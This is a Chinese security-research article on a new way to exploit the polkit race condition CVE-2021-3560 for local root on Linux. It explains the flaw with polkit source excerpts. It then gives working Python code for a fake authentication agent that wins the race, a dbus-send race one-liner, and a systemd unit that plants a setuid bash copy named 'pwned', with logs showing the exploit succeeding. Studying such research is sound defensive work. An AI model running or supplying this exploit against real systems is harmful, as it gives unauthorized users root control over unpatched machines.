针对CVE-2021-3560 PolicyKit Linux权限提升的新攻击方法 | 高级攻防06


本文约7000字,阅读约需13分钟。

PolicyKit CVE-2021-3560是PolicyKit没有正确的处理错误,导致在发送D-Bus信息后立刻关闭程序后,PolicyKit错误的认为信息的发送者为root用户,从而通过权限检查,实现提权而产生的漏洞。漏洞的利用方式如下:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply
     /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser     
     string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!


以上命令的作用是在发送D-Bus信息后,在一个极短的时间差后利用kill命令杀死进程,经过多次尝试条件竞争后,可以实现以一个低权限用户添加一个拥有sudo权限的用户。


根据漏洞作者的描述和利用方法可知,此漏洞成功利用需要三个组件:


Account Daemon——此服务用来添加用户;


Gnome Control Center——此服务会用org.freedesktop.policykit.imply修饰Account Daemon的方法;


PolicyKit ≥ 0.113。


其中Account Daemon和Gnomo Control Center在非桌面版的系统、Red Hat Linux等系统中并不存在,这无疑减小了漏洞的利用覆盖面。


但是通过对于此漏洞的原理深入研究,我发现漏洞利用并没有特别大的限制,仅存在PolicyKit和一些基础D-Bus服务(比如org.freedesktop.systemd1)的系统中仍然可以成功利用。


在进行研究的过程中,发现实现利用需要涉及比较多的知识点,需要深入理解此漏洞的原理及PolicyKit的相关认证机制和流程。本文章旨在将整体的研究方法尽可能详细的描述出来,如有错误请指正。


1

Imply Annotated Action

在漏洞作者的文章中(https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)明确地写道:

The authentication bypass depends on the error value getting ignored. It was ignored on line 1121, but it's still stored in the error parameter, so it also needs to be ignored by the caller. The block of code above has a temporary variable named implied_error, which is ignored when implied_result isn't null. That's the crucial step that makes the bypass possible.

大体含义就是,必须要有:

"org.freedesktop.policykit.imply"

修饰后的方法才能实现认证绕过。根据文章中的PoC来看,这一点确实是母庸质疑的。

具体原因和漏洞原理结合的非常紧密,可以通过查看代码来理解。首先先看一下CVE-2021-3560的漏洞函数,代码基于Github上的polkit 0.115版本:
static gbooleanpolkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,               guint32                       *out_uid,               guint32                       *out_pid,               GCancellable                  *cancellable,               GError                       **error){

 // ...  g_dbus_connection_call (connection,        "org.freedesktop.DBus",       /* name */        "/org/freedesktop/DBus",      /* object path */        "org.freedesktop.DBus",       /* interface name */        "GetConnectionUnixUser",      /* method */        // ...        &data);  g_dbus_connection_call (connection,        "org.freedesktop.DBus",       /* name */        "/org/freedesktop/DBus",      /* object path */        "org.freedesktop.DBus",       /* interface name */        "GetConnectionUnixProcessID", /* method */        // ...        &data);

 while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))    g_main_context_iteration (tmp_context, TRUE);

 if (out_uid)    *out_uid = data.uid;  if (out_pid)    *out_pid = data.pid;  ret = TRUE;

 return ret;}

"polkit_system_bus_name_get_creds_sync"

这个函数调用了两个D-Bus方法后,没有处理data.caugh_error,直接设置了out_uid为data.uid。又由于data.uid为NULL,导致out_uid为NULL,也就是0,为root用户的uid,从而错误的认为这个进程为root权限进程。

但是需要注意的是,在遇到错误时,data.error会被设置为错误的信息,所以这里需要接下来的函数只验证了ret是否为TRUE,而不去验证有没有错误。幸运的是,PolicyKit中一个用途非常广泛的函数:check_authorization_sync,就没有验证:
static PolkitAuthorizationResult *check_authorization_sync (PolkitBackendAuthority         *authority, 
                                      PolkitSubject                  *caller,       
                                     PolkitSubject                  *subject,                          
                                     const gchar                    *action_id,                          
                                     PolkitDetails                  *details,                          
                                     PolkitCheckAuthorizationFlags   flags,                          
                                     PolkitImplicitAuthorization    *out_implicit_authorization,                          
                                     gboolean                        checking_imply,                          
                                     GError                        **error)
{  
 // ...  
 user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor, subject, NULL,               error);  
 
 
 /* special case: uid 0, root, is _always_ authorized for anything */  
 if (identity_is_root_user (user_of_subject)) {    
   result = polkit_authorization_result_new (TRUE, FALSE, NULL);      
   goto out;  
 }  
 // ...  
 if (!checking_imply) {     
     actions = polkit_backend_action_pool_get_all_actions (priv->action_pool, NULL);      
     for (l = actions; l != NULL; l = l->next) {           
          // ...           
          imply_action_id = polkit_action_description_get_action_id (imply_ad);           
          implied_result = check_authorization_sync (authority, caller, subject,
                                                  imply_action_id,                                                     
                                                  details, flags,                                                      
                                                  &implied_implicit_authorization, TRUE,                                                      
                                                  &implied_error);           
          if (implied_result != NULL) {           
           if (polkit_authorization_result_get_is_authorized (implied_result)) {           
            g_debug (" is authorized (implied by %s)", imply_action_id);               
            result = implied_result;

这个函数有两处问题,第一个就是第一次调用下面这一函数的时候直接返回uid为0的信息,然后直接通过认证。
polkit_backend_session_monitor_get_user_for_subject

第二次是在检查imply action时,循环调用check_authorization_sync后再次遇到这一函数,返回uid为0的信息。

所以此函数存在两个条件竞争的时间窗口:

check_authorization_sync -> polkit_backend_session_monitor_get_user_for_subject -> return uid = 0

check_authorization_sync -> check_authorization_sync  -> polkit_backend_session_monitor_get_user_for_subject   -> return uid = 0

漏洞作者分析到这里时,发现第一个竞争时间窗口并不能成功,因为后续调用check_authorization_sync的函数都检查了错误信息,所以只能通过第二个时间窗口进行利用,也就是需要一个被:

"org.freedesktop.policykit.imply"

修饰过的action。

首先解释下什么是org.freedesktop.policykit.imply修饰。

PolicyKit的action policy配置文件通常在/usr/share/polkit-1/actions/目录下,文件的内容如下所示:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"        "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">

<policyconfig>        <vendor>The systemd Project</vendor>        <vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url>

       <action id="org.freedesktop.systemd1.manage-unit-files">                <description gettext-domain="systemd">Manage system service or unit files</description>                <message gettext-domain="systemd">Authentication is required to manage system service or unit files.</message>                <defaults>                        <allow_any>auth_admin</allow_any>                        <allow_inactive>auth_admin</allow_inactive>                        <allow_active>auth_admin_keep</allow_active>                </defaults>                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.systemd1.reload-daemon org.freedesktop.systemd1.manage-units</annotate>        </action>

       <action id="org.freedesktop.systemd1.reload-daemon">                <description gettext-domain="systemd">Reload the systemd state</description>                <message gettext-domain="systemd">Authentication is required to reload the systemd state.</message>                <defaults>                        <allow_any>auth_admin</allow_any>                        <allow_inactive>auth_admin</allow_inactive>                        <allow_active>auth_admin_keep</allow_active>                </defaults>        </action>

</policyconfig>
可以发现:

"org.freedesktop.systemd1.manage-unit-files"

这个action拥有org.freedesktop.policykit.imply修饰。

这个修饰的意义是,当一个subject拥有:

"org.freedesktop.systemd1.reload-daemon"

或者:

"org.freedesktop.systemd1.manage-units"

这两个权限时,也同时拥有此项权限。所以被修饰过的方法基本上可以视作和修饰方法等价,这也就是这个修饰的作用。

话说回来,在实际应用上,被此漏洞所影响的上层函数并不止check_authorization_sync,如下所有函数都会被这个漏洞所影响:

polkit_system_bus_name_get_creds_sync
polkit_backend_session_monitor_get_user_for_subject
check_authorization_sync

通过搜索代码,我发现了一个对我而言十分熟悉的函数,调用了:

"polkit_backend_session_monitor_get_user_for_subject"

这个函数,也就是:

"polkit_backend_interactive_authority_authentication_agent_response"


static gbooleanpolkit_backend_interactive_authority_authentication_agent_response (PolkitBackendAuthority   *authority,                                                              PolkitSubject            *caller,                                                              uid_t                     uid,                                                              const gchar              *cookie,                                                              PolkitIdentity           *identity,                                                              GError                  **error){

 // ...  identity_str = polkit_identity_to_string (identity);  g_debug ("In authentication_agent_response for cookie '%s' and identity %s",           cookie,           identity_str);  user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,                                                                        caller, NULL,                                                                        error);

 /* only uid 0 is allowed to invoke this method */  if (!identity_is_root_user (user_of_caller)) {      goto out;  }  // ...


这个方法是PolicyKit用来处理Authentication Agent调用的:

"AuthenticationAgentResponse"

"AuthenticationAgentResponse2"

这两个方法的。那么,什么是Authentication Agent,它又拥有什么作用呢?

2

What is Authentication Agent


在日常使用Linux的时候,如果不是利用root账号登录桌面环境,在执行一些需要root权限的操作时,通常会跳出一个对话框让你输入密码,这个对话框的程序就是Authentication Agent:



在命令行中,同样也有Authentication Agent,比如pkexec命令:


一个Authentication Agent通常为suid程序,这样可以保证调用PolicyKit的授权方法时的调用方(caller)为root,而来自root用户的方法调用是可以信任的。Authencation Agent的认证流程如下所示:


Client在需要提升权限时,会启动setuid的Authentication Agent;

Authentication Agent会启动一个D-Bus服务,用来接收PolicyKit的相关认证调用;

Authentication Agent会去PolicyKit注册自己,来接管对于客户端程序调用的D-Bus方法的认证请求:CheckAuthorization;

当收到CheckAuthorization请求时,PolicyKit会调用 Authencation Agent的BeginAuthentication方法;

Authentication Agent接收到方法调用后,会要求用户输入密码进行认证;

Authentication Agent验证密码没有问题,则会调用PolicyKit 提供的AuthenticationAgentResponse方法;

PolicyKit收到AuthenticationAgentResponse方法调用后,会检查调用方是不是root权限,接着会检查其他信息(cookie);

检查无误后,PolicyKit对于D-Bus Service 的CheckAuthorization方法返回TRUE,表示认证通过;

D-Bus Service收到返回后,允许执行用户所调用的方法。

虽然流程较为复杂,但是不难发现,整个流程的信任保证主要是在第7步中验证AuthenticationAgentResponse的调用方是否为root。

但是,由于CVE-2021-3560的存在,这个信任被打破了。所以我们可以通过伪造AuthenticationAgentResponse的调用方,来完成整个认证流程,实现任意D-Bus Service方法的调用。

3

Write Your Agent

利用dbus-python和相关example代码,我们可以实现一个Authencation Agent的基本骨架:



import osimport dbusimport dbus.serviceimport threading

from gi.repository import GLibfrom dbus.mainloop.glib import DBusGMainLoop



class PolkitAuthenticationAgent(dbus.service.Object):    def __init__(self):        bus = dbus.SystemBus(mainloop=DBusGMainLoop())        self._object_path = '/org/freedesktop/PolicyKit1/AuthenticationAgent'        self._bus = bus        with open("/proc/self/stat") as stat:            tokens = stat.readline().split(" ")            start_time = tokens[21]

       self._subject = ('unix-process',                         {'pid': dbus.types.UInt32(os.getpid()),                          'start-time': dbus.types.UInt64(int(start_time))})

       bus.exit_on_disconnect = False        dbus.service.Object.__init__(self, bus, self._object_path)        self._loop = GLib.MainLoop()        self.register()        print('[*] D-Bus message loop now running ...')        self._loop.run()

   def register(self):        proxy = self._bus.get_object(                'org.freedesktop.PolicyKit1',                '/org/freedesktop/PolicyKit1/Authority')        authority = dbus.Interface(                proxy,                dbus_interface='org.freedesktop.PolicyKit1.Authority')        authority.RegisterAuthenticationAgent(self._subject,                                              "en_US.UTF-8",                                              self._object_path)        print('[+] PolicyKit authentication agent registered successfully')        self._authority = authority

   @dbus.service.method(            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')    def BeginAuthentication(self, action_id, message, icon_name, details,                            cookie, identities, _msg):        print('[*] Received authentication request')        print('[*] Action ID: {}'.format(action_id))        print('[*] Cookie: {}'.format(cookie))

 ret_message = dbus.lowlevel.MethodReturnMessage(_msg)        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',                                                  '/org/freedesktop/PolicyKit1/Authority',                                                  'org.freedesktop.PolicyKit1.Authority',                                                  'AuthenticationAgentResponse2')        message.append(dbus.types.UInt32(os.getuid()))        message.append(cookie)        message.append(identities[0])        self._bus.send_message(message)
def main():    threading.Thread(target=PolkitAuthenticationAgent).start()
if __name__ == '__main__':    main()


接着尝试增加代码,进行调用:
def handler(*args):    print('[*] Method response: {}'.format(str(args)))



def set_timezone():    print('[*] Starting SetTimezone ...')    bus = dbus.SystemBus(mainloop=DBusGMainLoop())    obj = bus.get_object('org.freedesktop.timedate1', '/org/freedesktop/timedate1')    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.timedate1')    interface.SetTimezone('Asia/Shanghai', True, reply_handler=handler, error_handler=handler)



def main():    threading.Thread(target=PolkitAuthenticationAgent).start()    time.sleep(1)    threading.Thread(target=set_timezone).start()
运行程序:

dev@test:~$ python3 agent.py[+] PolicyKit authentication agent registered successfully[*] D-Bus message loop now running ...[*] Received authentication request[*] Action ID: org.freedesktop.timedate1.set-timezone[*] Cookie: 3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d[*] Method response: (DBusException(dbus.String('Permission denied')),)


同时 PolicyKit 的输出为:
** (polkitd:186082): DEBUG: 00:37:29.575: In authentication_agent_response for cookie '3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d' and identity unix-user:root** (polkitd:186082): DEBUG: 00:37:29.576: OUT: Only uid 0 may invoke this method.** (polkitd:186082): DEBUG: 00:37:29.576: Authentication complete, is_authenticated = 0** (polkitd:186082): DEBUG: 00:37:29.577: In check_authorization_challenge_cb  subject                system-bus-name::1.6846  action_id              org.freedesktop.timedate1.set-timezone  was_dismissed          0  authentication_success 0
00:37:29.577: Operator of unix-process:186211:9138723 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.6846 [python3 agent.py] (owned by unix-user:dev)
可见,我们的Authentication Agent已经正常工作了,可以接收到PolicyKit发送的BeginAuthentication方法调用,并且PolicyKit会提示Only uid 0 may invoke this method,是因为我们的AuthenticationAgentResponse发送用户为dev用户,而非root用户。

4

Trigger The Vulnerability

接下来尝试触发漏洞,我们尝试在发送完请求后立刻结束进程:
self._bus.send_message(message)os.kill(
os.getpid(), 9)

多次调用查看:
** (polkitd:186082): DEBUG: 01:09:17.375: In authentication_agent_response for cookie '51-20cf92ca04f0c6b029d0309dbfe699b5-1-3d3e63e4e98124979952a29a828057c7' and identity unix-user:root** (polkitd:186082): DEBUG: 01:09:17.377: OUT: RET: 1** (polkitd:186082): DEBUG: 01:09:17.377: Removing authentication agent for unix-process:189453:9329523 at name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent (disconnected from bus)01:09:17.377: Unregistered Authentication Agent for unix-process:189453:9329523 (system bus name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)** (polkitd:186082): DEBUG: 01:09:17.377: OUT: errorError performing authentication: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (g-dbus-error-quark 4)

(polkitd:186082): GLib-WARNING **: 01:09:17.379: GError set over the top of a previous GError or uninitialized memory.This indicates a bug in someone's code. You must ensure an error is NULL before it's set.The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directoryError opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.6921': no such name** (polkitd:186082): DEBUG: 01:09:17.380: In check_authorization_challenge_cb  subject                system-bus-name::1.6921  action_id              org.freedesktop.timedate1.set-timezone  was_dismissed          0  authentication_success 0
可以发现:

"polkit_backend_interactive_authority_authentication_agent_response"

函数的返回值为TRUE,但是在:

"check_authorization_challenge_cb"

函数中,仍然是未授权状态。注意到Error performing authentication的错误信息,定位到函数authentication_agent_begin_cb:
static voidauthentication_agent_begin_cb (GDBusProxy   *proxy,                               GAsyncResult *res,                               gpointer      user_data){  error = NULL;  result = g_dbus_proxy_call_finish (proxy, res, &error);  if (result == NULL)    {      g_printerr ("Error performing authentication: %s (%s %d)\n",                  error->message,                  g_quark_to_string (error->domain),                  error->code);      if (error->domain == POLKIT_ERROR && error->code == POLKIT_ERROR_CANCELLED)        was_dismissed = TRUE;      g_error_free (error);    }  else    {      g_variant_unref (result);      gained_authorization = session->is_authenticated;      g_debug ("Authentication complete, is_authenticated = %d", session->is_authenticated);    }


代码逻辑为,当g_dbus_proxy_call_finish函数没有错误的情况下,才会设置is_authenticated为TRUE。而g_dbus_proxy_call_finish函数的作用描述如下:
Finishes an operation started with g_dbus_proxy_call().
You can then call g_dbus_proxy_call_finish() to get the result of the operation.

而同时错误信息也显示了:
Message recipient disconnected from message bus without replying

如果想成功的进行条件竞争,首先就需要解决这个问题。通过dbus-monitor命令观察正常情况和错误情况的调用结果,成功的情况如下所示:
method call   sender=:1.3174 -> destination=:1.3301 serial=6371 member=BeginAuthenticationmethod call   sender=:1.3301 -> destination=:1.3174 serial=6    member=AuthenticationAgentResponse2 method return sender=:1.3301 -> destination=:1.3174 serial=7 reply_serial=6371


失败的情况如下所示:
method call sender=:1.3174 -> destination=:1.3301 serial=12514 member=BeginAuthentication method call sender=:1.3301 -> destination=:1.3174 serial=6     member=AuthenticationAgentResponse2 error       sender=org.freedesktop.DBus -> destination=:1:3174 error_name=org.freedesktop.DBus.Error.NoReply


其中,":1:3174"为PolicyKit,":1.3301"为Authentication Agent。成功的情况下,Authentication Agent会发送一个method return消息,指向的是BeginAuthentication的调用序列号,表示这个方法已经成功调用了。

而失败的情况下则是由D-Bus Daemon向PolicyKit发送一个NoReply的错误。

5

The Time Window

通过以上分析,可以得到我们的漏洞触发的时间窗口:在发送method return消息后,在获取:

"AuthenticationAgentResponse2"

的caller前结束进程。为了精确控制消息发送,我们修改Authentication Agent的代码如下:

@dbus.service.method(            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')    def BeginAuthentication(self, action_id, message, icon_name, details,                            cookie, identities, _msg):        print('[*] Received authentication request')        print('[*] Action ID: {}'.format(action_id))        print('[*] Cookie: {}'.format(cookie))



       def send(msg):            self._bus.send_message(msg)

       ret_message = dbus.lowlevel.MethodReturnMessage(_msg)        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',                                                  '/org/freedesktop/PolicyKit1/Authority',                                                  'org.freedesktop.PolicyKit1.Authority',                                                  'AuthenticationAgentResponse2')        message.append(dbus.types.UInt32(os.getuid()))        message.append(cookie)        message.append(identities[0])        threading.Thread(target=send, args=(message, )).start()        threading.Thread(target=send, args=(ret_message, )).start()        os.kill(os.getpid(), 9)

查看PolicyKit输出,发现已经成功认证:
** (polkitd:192813): DEBUG: 01:42:29.925: In authentication_agent_response for cookie '3-7c19ac0c4623cf4548b91ef08584209f-1-22daebe24c317a3d64d74d2acd307468' and identity unix-user:root** (polkitd:192813): DEBUG: 01:42:29.928: OUT: RET: 1** (polkitd:192813): DEBUG: 01:42:29.928: Authentication complete, is_authenticated = 1

(polkitd:192813): GLib-WARNING **: 01:42:29.934: GError set over the top of a previous GError or uninitialized memory.This indicates a bug in someone's code. You must ensure an error is NULL before it's set.The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directoryError opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.7428': no such name** (polkitd:192813): DEBUG: 01:42:29.934: In check_authorization_challenge_cb  subject                system-bus-name::1.7428  action_id              org.freedesktop.timedate1.set-timezone  was_dismissed          0  authentication_success 1
同时系统时区也已经成功更改。

6

Before The Exploit

相比于漏洞作者给出的Account Daemon利用,我选择了使用org.freedesktop.systemd1。首先我们摆脱了必须使用org.freedesktop.policykit.imply修饰过的方法的限制,其次因为这个D-Bus Service几乎在每个Linux系统都存在,最后是因为这个方法存在一些高风险方法。

$ gdbus introspect --system -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1...  interface org.freedesktop.systemd1.Manager {      ...      StartUnit(in  s arg_0,                in  s arg_1,                out o arg_2);      ...      EnableUnitFiles(in  as arg_0,                      in  b arg_1,                      in  b arg_2,                      out b arg_3,                      out a(sss) arg_4);      ...  }...


EnableUnitFiles可以接受传入一组systemd单元文件路径,并加载进入systemd,接着再调用Reload和StartUnit方法后,即可以root权限执行任意命令。systemd单元文件内容如下:
[Unit]AllowIsolate=no

[Service]ExecStart=/bin/bash -c 'cp /bin/bash /usr/local/bin/pwned; chmod +s /usr/local/bin/pwned'

看似流程非常明确,但是在实际利用中却出现了问题。问题出在 EnableUnitFiles  方法,首先编写代码调用此方法:
def enable_unit_files():   
    print('[*] Starting EnableUnitFiles ...')    
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())    
    \obj = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')    
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.systemd1.Manager')  
    interface.EnableUnitFiles(['test'], True, True, reply_handler=handler, error_handler=handler)

运行后输出如下:
dev@test:~$ python3 agent.py
[*] Starting EnableUnitFiles ...
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Method response: (DBusException(dbus.String('Interactive authentication required.')),)

可见并没有进入我们注册的Authentication Agent,而是直接输出了Interactive authentication required的错误信息。通过实际的代码分析,定位到如下代码逻辑:
static voidpolkit_backend_interactive_authority_check_authorization (PolkitBackendAuthority         *authority,                                                          PolkitSubject                  *caller,                                                          PolkitSubject                  *subject,                                                          const gchar                    *action_id,                                                          PolkitDetails                  *details,                                                          PolkitCheckAuthorizationFlags   flags,                                                          GCancellable                   *cancellable,                                                          GAsyncReadyCallback             callback,                                                          gpointer                        user_data){  // ...  if (polkit_authorization_result_get_is_challenge (result) &&      (flags & POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION))    {      AuthenticationAgent *agent;      agent = get_authentication_agent_for_subject (interactive_authority, subject);      if (agent != NULL)        {          g_object_unref (result);          result = NULL;

         g_debug (" using authentication agent for challenge");          authentication_agent_initiate_challenge (agent,                                                   // ...          goto out;        }    }

这里检查了Message Flags的:


"POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION"

是不是为0。如果是0,则不会进入到使用Authencation Agent 的分支。通过查阅文档,我发现:

"POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION"

是消息发送者可控的,D-Bus的类库提供了相应的setter:
https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.html#gae734e7f4079375a0256d9e7f855ec4e4

也就是:

"dbus_message_set_allow_interactive_authorization"

但是当我去翻阅dbus-python的文档时,发现其并没有提供这个方法。于是我修改了版dbus-python添加了此方法,地址为:
https://gitlab.freedesktop.org/RicterZ/dbus-python

PyDoc_STRVAR(Message_set_allow_interactive_authorization__doc__,
"message.set_allow_interactive_authorization(bool) -> Nonen"
"Set allow interactive authorization flag to this message.n");
static PyObject *
Message_set_allow_interactive_authorization(Message *self, PyObject *args)
{  
  int value;    
  if (!PyArg_ParseTuple(args, "i", &value)) return NULL;    
  if (!self->msg) return DBusPy_RaiseUnusableMessage();    
  dbus_message_set_allow_interactive_authorization(self->msg, value ? TRUE : FALSE); 
  Py_RETURN_NONE;
}

同时这项修改已经提交Merge Request了,希望之后会被合并。


7

The Final Exploit


添加了set_allow_interactive_authorization后,利用dbus-python提供的低级接口构建消息:

def method_call_install_service():    time.sleep(0.1)    print('[*] Enable systemd unit file \'{}\' ...'.format(FILENAME))    bus2 = dbus.SystemBus(mainloop=DBusGMainLoop())    message = dbus.lowlevel.MethodCallMessage(NAME, OBJECT, IFACE, 'EnableUnitFiles')    message.set_allow_interactive_authorization(True)    message.set_no_reply(True)    message.append(['/tmp/{}'.format(FILENAME)])    message.append(True)    message.append(True)    bus2.send_message(message)


设置之后再发送即可收到PolicyKit发来的BeginAuthentication请求了。实际编写框架已经大体明了了,写一个利用出来并不困难。最终利用成功截图如下:


Golang和C版本的利用代码如下:
https://github.com/RicterZ/CVE-2021-3560-Authentication-Agent
https://github.com/WinMin/CVE-2021-3560

8

Conclusion

CVE-2021-3560是一个危害被低估的漏洞,我认为是由于漏洞作者不是特别熟悉D-Bus和PolicyKit的相关机制,导致错过了Authentication Agent的特性,从而构建出限制较大的PoC。

我自是不敢说精通D-Bus和PolicyKit,但是在最近时间的漏洞挖掘和研究过程中,参考了大量的文档、历史漏洞分析,同时阅读了大量的代码后,才能意识到使用Authentication Agent来进行利用的可能性。

同时,作为一个Web漏洞的安全研究员,我将所有的东西都类型转换到Web层面去看待。D-Bus和Web非常相似,在挖掘提权的过程中并没有受到特别大的阻力,却收获了非常多的成果。

希望各位安全从业者通过D-Bus来入门二进制,跳出自己的舒适圈,也可以增加自己在漏洞挖掘中的视野。

9

参考资料

https://dbus.freedesktop.org/doc/dbus-python/https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.htmlhttps://libsoup.org/gio/GDBusProxy.htmlhttps://www.freedesktop.org/software/polkit/docs/latest/https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/


- END -

本文作者:酒仙桥六号部队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/181149.html

Tags:
评论  (0)
快来写下你的想法吧!

酒仙桥六号部队

文章数:105 积分: 865

提前看好文,搜索-微信公众号:酒仙桥六号部队

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号